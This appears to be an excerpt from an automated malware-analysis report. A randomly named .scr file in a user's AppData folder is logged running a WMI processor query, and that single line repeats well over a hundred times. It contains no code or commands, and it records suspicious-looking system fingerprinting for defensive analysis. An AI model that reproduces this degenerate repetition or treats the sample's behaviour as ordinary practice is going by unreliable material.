Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
